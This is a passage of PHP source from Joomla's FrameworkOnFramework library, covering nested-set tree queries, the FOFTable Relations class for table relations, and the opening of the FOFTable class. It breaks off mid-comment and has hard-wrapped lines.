* @codeCoverageIgnore
*
* @return FOFDatabaseIterator
*/
public function getImmediateDescendants()
{
$this->scopeImmediateDescendants();
return $this->get();
}
/**
* Returns a hashed array where each element's key is the value of
the $key column (default: the ID column of the
* table) and its value is the value of the $column column (default:
title). Each nesting level will have the value
* of the $column column prefixed by a number of $separator strings, as
many as its nesting level (depth).
*
* This is useful for creating HTML select elements showing the hierarchy
in a human readable format.
*
* @param string $column
* @param null $key
* @param string $seperator
*
* @return array
*/
public function getNestedList($column = 'title', $key = null,
$seperator = ' ')
{
$db = $this->getDbo();
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
if (empty($key) || !$this->hasField($key))
{
$key = $this->getKeyName();
}
if (empty($column))
{
$column = 'title';
}
$fldKey = $db->qn($this->getColumnAlias($key));
$fldColumn = $db->qn($this->getColumnAlias($column));
$query = $db->getQuery(true)
->select(array(
$db->qn('node') . '.' . $fldKey,
$db->qn('node') . '.' . $fldColumn,
'(COUNT(' . $db->qn('parent') . '.' .
$fldKey . ') - 1) AS ' . $db->qn('depth')
))
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'))
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('parent'))
->where($db->qn('node') . '.' . $fldLft .
' >= ' . $db->qn('parent') . '.' .
$fldLft)
->where($db->qn('node') . '.' . $fldLft .
' <= ' . $db->qn('parent') . '.' .
$fldRgt)
->group($db->qn('node') . '.' . $fldLft)
->order($db->qn('node') . '.' . $fldLft .
' ASC');
$tempResults = $db->setQuery($query)->loadAssocList();
$ret = array();
if (!empty($tempResults))
{
foreach ($tempResults as $row)
{
$ret[$row[$key]] = str_repeat($seperator, $row['depth']) .
$row[$column];
}
}
return $ret;
}
/**
* Locate a node from a given path, e.g. "/some/other/leaf"
*
* Notes:
* - This will only work when you have a "slug" and a
"hash" field in your table.
* - If the path starts with "/" we will use the root with
lft=1. Otherwise the first component of the path is
* supposed to be the slug of the root node.
* - If the root node is not found you'll get null as the return
value
* - You will also get null if any component of the path is not found
*
* @param string $path The path to locate
*
* @return FOFTableNested|null The found node or null if nothing is found
*/
public function findByPath($path)
{
// @todo
}
public function isValid()
{
// @todo
}
public function rebuild()
{
// @todo
}
/**
* Resets cached values used to speed up querying the tree
*
* @return static for chaining
*/
protected function resetTreeCache()
{
$this->treeDepth = null;
$this->treeRoot = null;
$this->treeParent = null;
$this->treeNestedGet = false;
return $this;
}
/**
* Add custom, pre-compiled WHERE clauses for use in buildQuery. The raw
WHERE clause you specify is added as is to
* the query generated by buildQuery. You are responsible for quoting and
escaping the field names and data found
* inside the WHERE clause.
*
* @param string $rawWhereClause The raw WHERE clause to add
*
* @return $this For chaining
*/
public function whereRaw($rawWhereClause)
{
$this->whereClauses[] = $rawWhereClause;
return $this;
}
/**
* Builds the query for the get() method
*
* @return FOFDatabaseQuery
*/
protected function buildQuery()
{
$db = $this->getDbo();
$query = $db->getQuery(true)
->select($db->qn('node') . '.*')
->from($db->qn($this->getTableName()) . ' AS ' .
$db->qn('node'));
if ($this->treeNestedGet)
{
$query
->join('CROSS', $db->qn($this->getTableName()) .
' AS ' . $db->qn('parent'));
}
// Apply custom WHERE clauses
if (count($this->whereClauses))
{
foreach ($this->whereClauses as $clause)
{
$query->where($clause);
}
}
return $query;
}
/**
* Returns a database iterator to retrieve records. Use the scope methods
and the whereRaw method to define what
* exactly will be returned.
*
* @param integer $limitstart How many items to skip from the start,
only when $overrideLimits = true
* @param integer $limit How many items to return, only when
$overrideLimits = true
*
* @return FOFDatabaseIterator The data collection
*/
public function get($limitstart = 0, $limit = 0)
{
$limitstart = max($limitstart, 0);
$limit = max($limit, 0);
$query = $this->buildQuery();
$db = $this->getDbo();
$db->setQuery($query, $limitstart, $limit);
$cursor = $db->execute();
$dataCollection = FOFDatabaseIterator::getIterator($db->name, $cursor,
null, $this->config['_table_class']);
return $dataCollection;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
class FOFTableRelations
{
/**
* Holds all known relation definitions
*
* @var array
*/
protected $relations = array(
'child' => array(),
'parent' => array(),
'children' => array(),
'multiple' => array(),
);
/**
* Holds the default relations' keys
*
* @var array
*/
protected $defaultRelation = array(
'child' => null,
'parent' => null,
'children' => null,
'multiple' => null,
);
/**
* The table these relations are attached to
*
* @var FOFTable
*/
protected $table = null;
/**
* The name of the component used by our attached table
*
* @var string
*/
protected $componentName = 'joomla';
/**
* The type (table name without prefix and component name) of our attached
table
*
* @var string
*/
protected $tableType = '';
/**
* Create a relations object based on the provided FOFTable instance
*
* @param FOFTable $table The table instance used to initialise the
relations
*/
public function __construct(FOFTable $table)
{
// Store the table
$this->table = $table;
// Get the table's type from its name
$tableName = $table->getTableName();
$tableName = str_replace('#__', '', $tableName);
$type = explode("_", $tableName);
if (count($type) == 1)
{
$this->tableType = array_pop($type);
}
else
{
$this->componentName = array_shift($type);
$this->tableType = array_pop($type);
}
$this->tableType = FOFInflector::singularize($this->tableType);
$tableKey = $table->getKeyName();
unset($type);
// Scan all table keys and look for foo_bar_id fields. These fields are
used to populate parent relations.
foreach ($table->getKnownFields() as $field)
{
// Skip the table key name
if ($field == $tableKey)
{
continue;
}
if (substr($field, -3) != '_id')
{
continue;
}
$parts = explode('_', $field);
// If the component type of the field is not set assume
'joomla'
if (count($parts) == 2)
{
array_unshift($parts, 'joomla');
}
// Sanity check
if (count($parts) != 3)
{
continue;
}
// Make sure we skip any references back to ourselves (should be
redundant, due to key field check above)
if ($parts[1] == $this->tableType)
{
continue;
}
// Default item name: the name of the table, singular
$itemName = FOFInflector::singularize($parts[1]);
// Prefix the item name with the component name if we refer to a
different component
if ($parts[0] != $this->componentName)
{
$itemName = $parts[0] . '_' . $itemName;
}
// Figure out the table class
$tableClass = ucfirst($parts[0]) . 'Table' .
ucfirst($parts[1]);
$default = empty($this->relations['parent']);
$this->addParentRelation($itemName, $tableClass, $field, $field,
$default);
}
// Get the relations from the configuration provider
$key = $table->getConfigProviderKey() . '.relations';
$configRelations = $table->getConfigProvider()->get($key, array());
if (!empty($configRelations))
{
foreach ($configRelations as $relation)
{
if (empty($relation['type']))
{
continue;
}
if (isset($relation['pivotTable']))
{
$this->addMultipleRelation($relation['itemName'],
$relation['tableClass'],
$relation['localKey'], $relation['ourPivotKey'],
$relation['theirPivotKey'],
$relation['remoteKey'], $relation['pivotTable'],
$relation['default']);
}
else
{
$method = 'add' . ucfirst($relation['type']).
'Relation';
if (!method_exists($this, $method))
{
continue;
}
$this->$method($relation['itemName'],
$relation['tableClass'],
$relation['localKey'], $relation['remoteKey'],
$relation['default']);
}
}
}
}
/**
* Add a 1:1 forward (child) relation. This adds relations for the
getChild() method.
*
* In other words: does a table HAVE ONE child
*
* Parent and child relations works the same way. We have them separated
as it makes more sense for us humans to
* read code like $item->getParent() and $item->getChild() than
$item->getRelatedObject('someRandomKeyName')
*
* @param string $itemName is how it will be known locally to the
getRelatedItem method (singular)
* @param string $tableClass if skipped it is defined automatically
as ComponentnameTableItemname
* @param string $localKey is the column containing our side of the
FK relation, default: our primary key
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param boolean $default add as the default child relation?
*
* @return void
*/
public function addChildRelation($itemName, $tableClass = null, $localKey
= null, $remoteKey = null, $default = true)
{
$itemName = $this->normaliseItemName($itemName, false);
if (empty($localKey))
{
$localKey = $this->table->getKeyName();
}
$this->addBespokeSimpleRelation('child', $itemName,
$tableClass, $localKey, $remoteKey, $default);
}
/**
* Defining an inverse 1:1 (parent) relation. You must specify at least
the $tableClass or the $localKey.
* This adds relations for the getParent() method.
*
* In other words: does a table BELONG TO ONE parent
*
* Parent and child relations works the same way. We have them separated
as it makes more sense for us humans to
* read code like $item->getParent() and $item->getChild() than
$item->getRelatedObject('someRandomKeyName')
*
* @param string $itemName is how it will be known locally to the
getRelatedItem method (singular)
* @param string $tableClass if skipped it is defined automatically
as ComponentnameTableItemname
* @param string $localKey is the column containing our side of the
FK relation, default: componentname_itemname_id
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param boolean $default Is this the default parent relationship?
*
* @return void
*/
public function addParentRelation($itemName, $tableClass = null, $localKey
= null, $remoteKey = null, $default = true)
{
$itemName = $this->normaliseItemName($itemName, false);
$this->addBespokeSimpleRelation('parent', $itemName,
$tableClass, $localKey, $remoteKey, $default);
}
/**
* Defining a forward 1:∞ (children) relation. This adds relations to
the getChildren() method.
*
* In other words: does a table HAVE MANY children?
*
* The children relation works very much the same as the parent and child
relation. The difference is that the
* parent and child relations return a single table object, whereas the
children relation returns an iterator to
* many objects.
*
* @param string $itemName is how it will be known locally to the
getRelatedItems method (plural)
* @param string $tableClass if skipped it is defined automatically
as ComponentnameTableItemname
* @param string $localKey is the column containing our side of the
FK relation, default: our primary key
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param boolean $default is this the default children
relationship?
*
* @return void
*/
public function addChildrenRelation($itemName, $tableClass = null,
$localKey = null, $remoteKey = null, $default = true)
{
$itemName = $this->normaliseItemName($itemName, true);
if (empty($localKey))
{
$localKey = $this->table->getKeyName();
}
$this->addBespokeSimpleRelation('children', $itemName,
$tableClass, $localKey, $remoteKey, $default);
}
/**
* Defining a ∞:∞ (multiple) relation. This adds relations to the
getMultiple() method.
*
* In other words: is a table RELATED TO MANY other records?
*
* @param string $itemName is how it will be known locally to
the getRelatedItems method (plural)
* @param string $tableClass if skipped it is defined
automatically as ComponentnameTableItemname
* @param string $localKey is the column containing our side of
the FK relation, default: our primary key field name
* @param string $ourPivotKey is the column containing our side of
the FK relation in the pivot table, default: $localKey
* @param string $theirPivotKey is the column containing the other
table's side of the FK relation in the pivot table, default $remoteKey
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param string $glueTable is the name of the glue (pivot)
table, default: #__componentname_thisclassname_itemname with plural items
(e.g. #__foobar_users_roles)
* @param boolean $default is this the default multiple
relation?
*/
public function addMultipleRelation($itemName, $tableClass = null,
$localKey = null, $ourPivotKey = null, $theirPivotKey = null, $remoteKey =
null, $glueTable = null, $default = true)
{
$itemName = $this->normaliseItemName($itemName, true);
if (empty($localKey))
{
$localKey = $this->table->getKeyName();
}
$this->addBespokePivotRelation('multiple', $itemName,
$tableClass, $localKey, $remoteKey, $ourPivotKey, $theirPivotKey,
$glueTable, $default);
}
/**
* Removes a previously defined relation by name. You can optionally
specify the relation type.
*
* @param string $itemName The name of the relation to remove
* @param string $type [optional] The relation type (child,
parent, children, ...)
*
* @return void
*/
public function removeRelation($itemName, $type = null)
{
$types = array_keys($this->relations);
if (in_array($type, $types))
{
$types = array($type);
}
foreach ($types as $type)
{
foreach ($this->relations[$type] as $key => $relations)
{
if ($itemName == $key)
{
unset ($this->relations[$type][$itemName]);
// If it's the default one, remove it from the
default array, too
if($this->defaultRelation[$type] == $itemName)
{
$this->defaultRelation[$type] = null;
}
return;
}
}
}
}
/**
* Removes all existing relations
*
* @param string $type The type or relations to remove, omit to remove
all relation types
*
* @return void
*/
public function clearRelations($type = null)
{
$types = array_keys($this->relations);
if (in_array($type, $types))
{
$types = array($type);
}
foreach ($types as $type)
{
$this->relations[$type] = array();
// Remove the relation from the default stack, too
$this->defaultRelation[$type] = null;
}
}
/**
* Does the named relation exist? You can optionally specify the type.
*
* @param string $itemName The name of the relation to check
* @param string $type [optional] The relation type (child,
parent, children, ...)
*
* @return boolean
*/
public function hasRelation($itemName, $type = null)
{
$types = array_keys($this->relations);
if (in_array($type, $types))
{
$types = array($type);
}
foreach ($types as $type)
{
foreach ($this->relations[$type] as $key => $relations)
{
if ($itemName == $key)
{
return true;
}
}
}
return false;
}
/**
* Get the definition of a relation
*
* @param string $itemName The name of the relation to check
* @param string $type [optional] The relation type (child,
parent, children, ...)
*
* @return array
*
* @throws RuntimeException When the relation is not found
*/
public function getRelation($itemName, $type)
{
$types = array_keys($this->relations);
if (in_array($type, $types))
{
$types = array($type);
}
foreach ($types as $type)
{
foreach ($this->relations[$type] as $key => $relations)
{
if ($itemName == $key)
{
$temp = $relations;
$temp['type'] = $type;
return $temp;
}
}
}
throw new RuntimeException("Relation $itemName not found in table
{$this->tableType}", 500);
}
/**
* Gets the item referenced by a named relation. You can optionally
specify the type. Only single item relation
* types will be searched.
*
* @param string $itemName The name of the relation to use
* @param string $type [optional] The relation type (child,
parent)
*
* @return FOFTable
*
* @throws RuntimeException If the named relation doesn't exist or
isn't supposed to return single items
*/
public function getRelatedItem($itemName, $type = null)
{
if (empty($type))
{
$relation = $this->getRelation($itemName, $type);
$type = $relation['type'];
}
switch ($type)
{
case 'parent':
return $this->getParent($itemName);
break;
case 'child':
return $this->getChild($itemName);
break;
default:
throw new RuntimeException("Invalid relation type $type for
returning a single related item", 500);
break;
}
}
/**
* Gets the iterator for the items referenced by a named relation. You can
optionally specify the type. Only
* multiple item relation types will be searched.
*
* @param string $itemName The name of the relation to use
* @param string $type [optional] The relation type (children,
multiple)
*
* @return FOFDatabaseIterator
*
* @throws RuntimeException If the named relation doesn't exist or
isn't supposed to return single items
*/
public function getRelatedItems($itemName, $type = null)
{
if (empty($type))
{
$relation = $this->getRelation($itemName, $type);
$type = $relation['type'];
}
switch ($type)
{
case 'children':
return $this->getChildren($itemName);
break;
case 'multiple':
return $this->getMultiple($itemName);
break;
case 'siblings':
return $this->getSiblings($itemName);
break;
default:
throw new RuntimeException("Invalid relation type $type for
returning a collection of related items", 500);
break;
}
}
/**
* Gets a parent item
*
* @param string $itemName [optional] The name of the relation to use,
skip to use the default parent relation
*
* @return FOFTable
*
* @throws RuntimeException When the relation is not found
*/
public function getParent($itemName = null)
{
if (empty($itemName))
{
$itemName = $this->defaultRelation['parent'];
}
if (empty($itemName))
{
throw new RuntimeException(sprintf('Default parent relation for %s
not found', $this->table->getTableName()), 500);
}
if (!isset($this->relations['parent'][$itemName]))
{
throw new RuntimeException(sprintf('Parent relation %s for %s not
found', $itemName, $this->table->getTableName()), 500);
}
return
$this->getTableFromRelation($this->relations['parent'][$itemName]);
}
/**
* Gets a child item
*
* @param string $itemName [optional] The name of the relation to use,
skip to use the default child relation
*
* @return FOFTable
*
* @throws RuntimeException When the relation is not found
*/
public function getChild($itemName = null)
{
if (empty($itemName))
{
$itemName = $this->defaultRelation['child'];
}
if (empty($itemName))
{
throw new RuntimeException(sprintf('Default child relation for %s
not found', $this->table->getTableName()), 500);
}
if (!isset($this->relations['child'][$itemName]))
{
throw new RuntimeException(sprintf('Child relation %s for %s not
found', $itemName, $this->table->getTableName()), 500);
}
return
$this->getTableFromRelation($this->relations['child'][$itemName]);
}
/**
* Gets an iterator for the children items
*
* @param string $itemName [optional] The name of the relation to use,
skip to use the default children relation
*
* @return FOFDatabaseIterator
*
* @throws RuntimeException When the relation is not found
*/
public function getChildren($itemName = null)
{
if (empty($itemName))
{
$itemName = $this->defaultRelation['children'];
}
if (empty($itemName))
{
throw new RuntimeException(sprintf('Default children relation for
%s not found', $this->table->getTableName()), 500);
}
if (!isset($this->relations['children'][$itemName]))
{
throw new RuntimeException(sprintf('Children relation %s for %s not
found', $itemName, $this->table->getTableName()), 500);
}
return
$this->getIteratorFromRelation($this->relations['children'][$itemName]);
}
/**
* Gets an iterator for the sibling items. This relation is inferred from
the parent relation. It returns all
* elements on the same table which have the same parent.
*
* @param string $itemName [optional] The name of the relation to use,
skip to use the default children relation
*
* @return FOFDatabaseIterator
*
* @throws RuntimeException When the relation is not found
*/
public function getSiblings($itemName = null)
{
if (empty($itemName))
{
$itemName = $this->defaultRelation['parent'];
}
if (empty($itemName))
{
throw new RuntimeException(sprintf('Default siblings relation for
%s not found', $this->table->getTableName()), 500);
}
if (!isset($this->relations['parent'][$itemName]))
{
throw new RuntimeException(sprintf('Sibling relation %s for %s not
found', $itemName, $this->table->getTableName()), 500);
}
// Get my table class
$tableName = $this->table->getTableName();
$tableName = str_replace('#__', '', $tableName);
$tableNameParts = explode('_', $tableName, 2);
$tableClass = ucfirst($tableNameParts[0]) . 'Table' .
ucfirst(FOFInflector::singularize($tableNameParts[1]));
$parentRelation = $this->relations['parent'][$itemName];
$relation = array(
'tableClass' => $tableClass,
'localKey' => $parentRelation['localKey'],
'remoteKey' => $parentRelation['localKey'],
);
return $this->getIteratorFromRelation($relation);
}
/**
* Gets an iterator for the multiple items
*
* @param string $itemName [optional] The name of the relation to use,
skip to use the default multiple relation
*
* @return FOFDatabaseIterator
*
* @throws RuntimeException When the relation is not found
*/
public function getMultiple($itemName = null)
{
if (empty($itemName))
{
$itemName = $this->defaultRelation['multiple'];
}
if (empty($itemName))
{
throw new RuntimeException(sprintf('Default multiple relation for
%s not found', $this->table->getTableName()), 500);
}
if (!isset($this->relations['multiple'][$itemName]))
{
throw new RuntimeException(sprintf('Multiple relation %s for %s not
found', $itemName, $this->table->getTableName()), 500);
}
return
$this->getIteratorFromRelation($this->relations['multiple'][$itemName]);
}
/**
* Returns a FOFTable object based on a given relation
*
* @param array $relation Indexed array holding relation
definition.
* tableClass => name of the
related table class
* localKey => name of the local
key
* remoteKey => name of the remote
key
*
* @return FOFTable
*
* @throws RuntimeException
* @throws InvalidArgumentException
*/
protected function getTableFromRelation($relation)
{
// Sanity checks
if(
!isset($relation['tableClass']) ||
!isset($relation['remoteKey']) ||
!isset($relation['localKey']) ||
!$relation['tableClass'] ||
!$relation['remoteKey'] || !$relation['localKey']
)
{
throw new InvalidArgumentException('Missing array index
for the '.__METHOD__.' method. Please check method
signature', 500);
}
// Get a table object from the table class name
$tableClass = $relation['tableClass'];
$tableClassParts = FOFInflector::explode($tableClass);
if(count($tableClassParts) < 3)
{
throw new InvalidArgumentException('Invalid table class
named. It should be something like FooTableBar');
}
$table = FOFTable::getInstance($tableClassParts[2],
ucfirst($tableClassParts[0]) . ucfirst($tableClassParts[1]));
// Get the table name
$tableName = $table->getTableName();
// Get the remote and local key names
$remoteKey = $relation['remoteKey'];
$localKey = $relation['localKey'];
// Get the local key's value
$value = $this->table->$localKey;
// If there's no value for the primary key, let's stop
here
if(!$value)
{
throw new RuntimeException('Missing value for the primary
key of the table '.$this->table->getTableName(), 500);
}
// This is required to prevent one relation from killing the db cursor
used in a different relation...
$oldDb = $this->table->getDbo();
$oldDb->disconnect(); // YES, WE DO NEED TO DISCONNECT BEFORE WE CLONE
THE DB OBJECT. ARGH!
$db = clone $oldDb;
$query = $db->getQuery(true)
->select('*')
->from($db->qn($tableName))
->where($db->qn($remoteKey) . ' = ' .
$db->q($value));
$db->setQuery($query, 0, 1);
$data = $db->loadObject();
if (!is_object($data))
{
throw new RuntimeException(sprintf('Cannot load item from relation
against table %s column %s', $tableName, $remoteKey), 500);
}
$table->bind($data);
return $table;
}
/**
* Returns a FOFDatabaseIterator based on a given relation
*
* @param array $relation Indexed array holding relation
definition.
* tableClass => name of the
related table class
* localKey => name of the local
key
* remoteKey => name of the remote
key
* pivotTable => name of the
pivot table (optional)
* theirPivotKey => name of the
remote key in the pivot table (mandatory if pivotTable is set)
* ourPivotKey => name of our key
in the pivot table (mandatory if pivotTable is set)
*
* @return FOFDatabaseIterator
*
* @throws RuntimeException
* @throws InvalidArgumentException
*/
protected function getIteratorFromRelation($relation)
{
// Sanity checks
if(
!isset($relation['tableClass']) ||
!isset($relation['remoteKey']) ||
!isset($relation['localKey']) ||
!$relation['tableClass'] ||
!$relation['remoteKey'] || !$relation['localKey']
)
{
throw new InvalidArgumentException('Missing array index
for the '.__METHOD__.' method. Please check method
signature', 500);
}
if(array_key_exists('pivotTable', $relation))
{
if(
!isset($relation['theirPivotKey']) ||
!isset($relation['ourPivotKey']) ||
!$relation['pivotTable'] ||
!$relation['theirPivotKey'] ||
!$relation['ourPivotKey']
)
{
throw new InvalidArgumentException('Missing array
index for the '.__METHOD__.' method. Please check method
signature', 500);
}
}
// Get a table object from the table class name
$tableClass = $relation['tableClass'];
$tableClassParts = FOFInflector::explode($tableClass);
if(count($tableClassParts) < 3)
{
throw new InvalidArgumentException('Invalid table class
named. It should be something like FooTableBar');
}
$table = FOFTable::getInstance($tableClassParts[2],
ucfirst($tableClassParts[0]) . ucfirst($tableClassParts[1]));
// Get the table name
$tableName = $table->getTableName();
// Get the remote and local key names
$remoteKey = $relation['remoteKey'];
$localKey = $relation['localKey'];
// Get the local key's value
$value = $this->table->$localKey;
// If there's no value for the primary key, let's stop
here
if(!$value)
{
throw new RuntimeException('Missing value for the primary
key of the table '.$this->table->getTableName(), 500);
}
// This is required to prevent one relation from killing the db cursor
used in a different relation...
$oldDb = $this->table->getDbo();
$oldDb->disconnect(); // YES, WE DO NEED TO DISCONNECT BEFORE WE CLONE
THE DB OBJECT. ARGH!
$db = clone $oldDb;
// Begin the query
$query = $db->getQuery(true)
->select('*')
->from($db->qn($tableName));
// Do we have a pivot table?
$hasPivot = array_key_exists('pivotTable', $relation);
// If we don't have pivot it's a straightforward query
if (!$hasPivot)
{
$query->where($db->qn($remoteKey) . ' = ' .
$db->q($value));
}
// If we have a pivot table we have to do a subquery
else
{
$subQuery = $db->getQuery(true)
->select($db->qn($relation['theirPivotKey']))
->from($db->qn($relation['pivotTable']))
->where($db->qn($relation['ourPivotKey']) . ' =
' . $db->q($value));
$query->where($db->qn($remoteKey) . ' IN (' . $subQuery
. ')');
}
$db->setQuery($query);
$cursor = $db->execute();
$iterator = FOFDatabaseIterator::getIterator($db->name, $cursor, null,
$tableClass);
return $iterator;
}
/**
* Add any bespoke relation which doesn't involve a pivot table.
*
* @param string $relationType The type of the relationship (parent,
child, children)
* @param string $itemName is how it will be known locally to the
getRelatedItems method
* @param string $tableClass if skipped it is defined automatically
as ComponentnameTableItemname
* @param string $localKey is the column containing our side of
the FK relation, default: componentname_itemname_id
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param boolean $default is this the default children
relationship?
*
* @return void
*/
protected function addBespokeSimpleRelation($relationType, $itemName,
$tableClass, $localKey, $remoteKey, $default)
{
$ourPivotKey = null;
$theirPivotKey = null;
$pivotTable = null;
$this->normaliseParameters(false, $itemName, $tableClass, $localKey,
$remoteKey, $ourPivotKey, $theirPivotKey, $pivotTable);
$this->relations[$relationType][$itemName] = array(
'tableClass' => $tableClass,
'localKey' => $localKey,
'remoteKey' => $remoteKey,
);
if ($default)
{
$this->defaultRelation[$relationType] = $itemName;
}
}
/**
* Add any bespoke relation which involves a pivot table.
*
* @param string $relationType The type of the relationship
(multiple)
* @param string $itemName is how it will be known locally to
the getRelatedItems method
* @param string $tableClass if skipped it is defined
automatically as ComponentnameTableItemname
* @param string $localKey is the column containing our side of
the FK relation, default: componentname_itemname_id
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param string $ourPivotKey is the column containing our side of
the FK relation in the pivot table, default: $localKey
* @param string $theirPivotKey is the column containing the other
table's side of the FK relation in the pivot table, default $remoteKey
* @param string $pivotTable is the name of the glue (pivot)
table, default: #__componentname_thisclassname_itemname with plural items
(e.g. #__foobar_users_roles)
* @param boolean $default is this the default children
relationship?
*
* @return void
*/
protected function addBespokePivotRelation($relationType, $itemName,
$tableClass, $localKey, $remoteKey, $ourPivotKey, $theirPivotKey,
$pivotTable, $default)
{
$this->normaliseParameters(true, $itemName, $tableClass, $localKey,
$remoteKey, $ourPivotKey, $theirPivotKey, $pivotTable);
$this->relations[$relationType][$itemName] = array(
'tableClass' => $tableClass,
'localKey' => $localKey,
'remoteKey' => $remoteKey,
'ourPivotKey' => $ourPivotKey,
'theirPivotKey' => $theirPivotKey,
'pivotTable' => $pivotTable,
);
if ($default)
{
$this->defaultRelation[$relationType] = $itemName;
}
}
/**
* Normalise the parameters of a relation, guessing missing values
*
* @param boolean $pivot Is this a many to many relation
involving a pivot table?
* @param string $itemName is how it will be known locally to
the getRelatedItems method (plural)
* @param string $tableClass if skipped it is defined
automatically as ComponentnameTableItemname
* @param string $localKey is the column containing our side of
the FK relation, default: componentname_itemname_id
* @param string $remoteKey is the remote table's FK column,
default: componentname_itemname_id
* @param string $ourPivotKey is the column containing our side of
the FK relation in the pivot table, default: $localKey
* @param string $theirPivotKey is the column containing the other
table's side of the FK relation in the pivot table, default $remoteKey
* @param string $pivotTable is the name of the glue (pivot)
table, default: #__componentname_thisclassname_itemname with plural items
(e.g. #__foobar_users_roles)
*
* @return void
*/
protected function normaliseParameters($pivot, &$itemName,
&$tableClass, &$localKey, &$remoteKey, &$ourPivotKey,
&$theirPivotKey, &$pivotTable)
{
// Get a default table class if none is provided
if (empty($tableClass))
{
$tableClassParts = explode('_', $itemName, 3);
if (count($tableClassParts) == 1)
{
array_unshift($tableClassParts, $this->componentName);
}
if ($tableClassParts[0] == 'joomla')
{
$tableClassParts[0] = 'J';
}
$tableClass = ucfirst($tableClassParts[0]) . 'Table' .
ucfirst(FOFInflector::singularize($tableClassParts[1]));
}
// Make sure we have both a local and remote key
if (empty($localKey) && empty($remoteKey))
{
// WARNING! If we have a pivot table, this behavior is wrong!
// Infact if we have `parts` and `groups` the local key should
be foobar_part_id and the remote one foobar_group_id.
// However, this isn't a real issue because:
// 1. we have no way to detect the local key of a multiple
relation
// 2. this scenario never happens, since, in this class, if
we're adding a multiple relation we always supply the local key
$tableClassParts = FOFInflector::explode($tableClass);
$localKey = $tableClassParts[0] . '_' . $tableClassParts[2] .
'_id';
$remoteKey = $localKey;
}
elseif (empty($localKey) && !empty($remoteKey))
{
$localKey = $remoteKey;
}
elseif (!empty($localKey) && empty($remoteKey))
{
if($pivot)
{
$tableClassParts = FOFInflector::explode($tableClass);
$remoteKey = $tableClassParts[0] . '_' .
$tableClassParts[2] . '_id';
}
else
{
$remoteKey = $localKey;
}
}
// If we don't have a pivot table nullify the relevant variables and
return
if (!$pivot)
{
$ourPivotKey = null;
$theirPivotKey = null;
$pivotTable = null;
return;
}
if (empty($ourPivotKey))
{
$ourPivotKey = $localKey;
}
if (empty($theirPivotKey))
{
$theirPivotKey = $remoteKey;
}
if (empty($pivotTable))
{
$pivotTable = '#__' . strtolower($this->componentName) .
'_' .
strtolower(FOFInflector::pluralize($this->tableType)) .
'_';
$itemNameParts = explode('_', $itemName);
$lastPart = array_pop($itemNameParts);
$pivotTable .= strtolower($lastPart);
}
}
/**
* Normalises the format of a relation name
*
* @param string $itemName The raw relation name
* @param boolean $pluralise Should I pluralise the name? If not, I
will singularise it
*
* @return string The normalised relation key name
*/
protected function normaliseItemName($itemName, $pluralise = false)
{
// Explode the item name
$itemNameParts = explode('_', $itemName);
// If we have multiple parts the first part is considered to be the
component name
if (count($itemNameParts) > 1)
{
$prefix = array_shift($itemNameParts);
}
else
{
$prefix = null;
}
// If we still have multiple parts we need to pluralise/singularise the
last part and join everything in
// CamelCase format
if (count($itemNameParts) > 1)
{
$name = array_pop($itemNameParts);
$name = $pluralise ? FOFInflector::pluralize($name) :
FOFInflector::singularize($name);
$itemNameParts[] = $name;
$itemName = FOFInflector::implode($itemNameParts);
}
// Otherwise we singularise/pluralise the remaining part
else
{
$name = array_pop($itemNameParts);
$itemName = $pluralise ? FOFInflector::pluralize($name) :
FOFInflector::singularize($name);
}
if (!empty($prefix))
{
$itemName = $prefix . '_' . $itemName;
}
return $itemName;
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Normally this shouldn't be required. Some PHP versions, however,
seem to
* require this. Why? No idea whatsoever. If I remove it, FOF crashes on
some
* hosts. Same PHP version on another host and no problem occurs. Any
takers?
*/
if (class_exists('FOFTable', false))
{
return;
}
if (!interface_exists('JTableInterface', true))
{
interface JTableInterface {}
}
/**
* FrameworkOnFramework Table class. The Table is one part controller, one
part
* model and one part data adapter. It's supposed to handle operations
for single
* records.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFTable extends FOFUtilsObject implements JTableInterface
{
/**
* Cache array for instances
*
* @var array
*/
protected static $instances = array();
/**
* Include paths for searching for FOFTable classes.
*
* @var array
*/
protected static $_includePaths = array();
/**
* The configuration parameters array
*
* @var array
*/
protected $config = array();
/**
* Name of the database table to model.
*
* @var string
*/
protected $_tbl = '';
/**
* Name of the primary key field in the table.
*
* @var string
*/
protected $_tbl_key = '';
/**
* FOFDatabaseDriver object.
*
* @var FOFDatabaseDriver
*/
protected $_db;
/**
* Should rows be tracked as ACL assets?
*
* @var boolean
*/
protected $_trackAssets = false;
/**
* Does the resource support joomla tags?
*
* @var boolean
*/
protected $_has_tags = false;
/**
* The rules associated with this record.
*
* @var JAccessRules A JAccessRules object.
*/
protected $_rules;
/**
* Indicator that the tables have been locked.
*
* @var boolean
*/
protected $_locked = false;
/**
* If this is set to true, it triggers automatically plugin events for
* table actions
*
* @var boolean
*/
protected $_trigger_events = false;
/**
* Table alias used in queries
*
* @var string
*/
protected $_tableAlias = false;
/**
* Array with alias for "special" columns such as ordering, hits
etc etc
*
* @var array
*/
protected $_columnAlias = array();
/**
* If set to true, it enabled automatic checks on fields based on columns
properties
*
* @var boolean
*/
protected $_autoChecks = false;
/**
* Array with fields that should be skipped by automatic checks
*
* @var array
*/
protected $_skipChecks = array();
/**
* Does the table actually exist? We need that to avoid PHP notices on
* table-less views.
*
* @var boolean
*/
protected $_tableExists = true;
/**
* The asset key for items in this table. It's usually something in
the
